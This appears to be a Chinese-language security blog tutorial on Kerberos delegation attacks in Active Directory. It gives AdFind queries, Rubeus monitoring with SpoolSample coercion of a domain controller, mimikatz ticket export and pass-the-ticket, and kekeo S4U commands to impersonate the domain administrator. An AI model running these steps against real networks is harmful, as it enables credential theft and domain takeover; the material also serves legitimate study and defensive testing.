目录
为什么要使用委派
什么账号可以使用委派
非约束性委派
这里有一张图
利用
流程
约束性委派
这里有一张图
如何利用
条件
具体流程
为什么要使用委派
这个是因为可能A服务需要B服务的支持，但是A服务的权限不可以使用B服务。然后这时就可以让域用户将自己的权限委派到A服务这里，这样A服务就可以通过域用户权限访问B服务了。
什么账号可以使用委派
机器账户（主机账户）、和服务账户。也只有前面两类账户有委派属性
非约束性委派
这里有一张图
我们首先分析以下上面的图
1、首先用户向KDC请求TGT1
2、然后KDC返回TGT1
3、然后用户向KDC再次请求TGT，我们这里称TGT2
4、然后KDC返回TGT2
5、然后用户向KDC请求服务1的ST票据
6、然后KDC返回服务1的ST票据
7、然后用户用服务1的ST向服务1请求服务，同时用户将TGT2给了服务1
8、然后服务1用用户的TGT2去向KDC请求服务2的ST票据
9、然后KDC返回ST票据给服务1
10、然后服务1去访问服务2
11、服务2回复服务1
12、然后服务1回复给用户
总结一下就是用户 A 去访问服务B，服务 B 的服务账户开启了非约束委派，那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存，服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。
在这里有一个问题TGT2是没有被限制的，如果委派的账户是一个高权限账户，那么我们就可以利用TGT2去访问其他服务，我们的非约束委派攻击就是利用这一点来进行攻击的。
非约束性委派其实就是权限最大的一种委派方式，即完全的获取到你这个用户的权限（相当于获取到这个用户的TGT）。对于非约束性委派，服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT，模拟用户访问任意服务。
利用
这里需要拿下一台1设置了非约束委派的设备，然后诱导域管访问这台机子。然后就可以获取到域管TGT了。也就是域管一访问服务就将TGT留在服务这里了。
这个东西也是一个后门，当你拿下的管理员权限被收走后你使用普通用户可以去访问其他服务。我感觉这个东西更偏向权限维持，因为如果我只是拿下了一个低权限用户，是没有办法利用mimikatz等些工具做很多事情，但是如果我拿到了一个域控或者本地管理员的账号我可以把这个票据导出来，然后如果我的域控或者本地管理员的权限丢到。我还可以使用普通用户拿着刚刚的导出的票据去进行一些操作如访问域控什么的。
流程
寻找配置了非约束性委派的服务或主机账号，这里可以使用adfind进行查询，可以使用下面命令查询
# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn诱导其他账号访问配置了非约束性委派的服务或主机。
这里有两个思路一个是诱导域管账户来访问这台机器，这个不是很合理，毕竟人家域控没事为啥要访问你。
第二个思路是结合打印机漏洞，这个漏洞是强迫运行的主机向目标主机发起 Kerberos 或 NTLM 认证请求。 这里就可尝试强制让域控来连接你的机器
这里需要administrator权限，然后这里可以使用rubeus工0具监听回连，然后使用spoolsqmple工具利用漏洞强制回连
使用rubeus工具监听回连
Rubeus.exe monitor /interval:隔多少秒监听一次 /filteruser:监听的账户
使用spoolsqmple工具执行打印机漏洞利用，进行强制回连
SpoolSample.exe 监听的账户 有委派的机器
（这里可以直接使用rubeus导入：Rubeus.exe ptt /ticket:抓出来的票据）
导出票据，进行票据注入。
域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"使用秘密katz导入内存
mimikatz.exe "kerberos::ptt 票据名称" "exit"
约束性委派
这里有一张图
出现约束委派就是因为非约束委派的不安全性，所以微软映入了S4U（S4U2Self / S4U2proxy ）进行委派
利用S4U2Self协议（这里看协议名字就可以知道是用来请求自身）
1、用户向服务1发起请求，这里是通过kerberos协议外的方式访问服务1，所以这里是没有权限的
2、服务1以用户的名义向KDC请求用于访问服务1的ST1,在这里服务1已经获取了TGT
3、KDC返回给服务1一个服务1的ST票据
4、服务1响应用户
利用S4U2proxy协议
5、用户向服务1发起请求
6、服务1以用户名义向KDC请求服务2的ST2
7、KDC返回服务2的ST2给服务1（如果请求中包含 PAC，则 KDC 通过检查 PAC 的签名数据来验证 PAC ，如果 PAC 有效或不存在，则 KDC 返回 ST2 给 service1，但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份，而不是 service1 的身份。 ）
8、服务1使用ST2以用户的名义访问服务2
9、服务2响应服务1
10、服务1回复用户
如何利用
条件
管理员设置了约束委派
攻击者控制了服务1的账户
具体流程
如果我们可以攻破配置约束委派的服务账户(获取密码/Hash)(这个账户就是上面过程中的服务1账户)，我们就可以模拟域内任意用户(如 domain\administrator) 并代表其获得对已配置服务的访问权限（获取 TGS 票据）。
1、我们可以使用Adfind查询约束委派的用户
AdFind.exe -b "DC=xinhuo,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
2、然后我们可以使用keko工具请求该用户的TGT(这个账户就是上面过程中的服务1账户)
tgt::ask /user:服务用户用户名 /domain:域名 /password:服务用户的明文密码 /ticket:指定票据名称
3、伪造S4U请求以administrator用户请求访问服务2获取服务2的ST
tgs::s4u /tgt:票据名称 /user:伪造用户名@域名 /service:服务2/用户名.域名
4、使用mimikatz导入票据ST2和票据ST1
kerberos::ptt 票据名称
复现过程在另外一篇文章
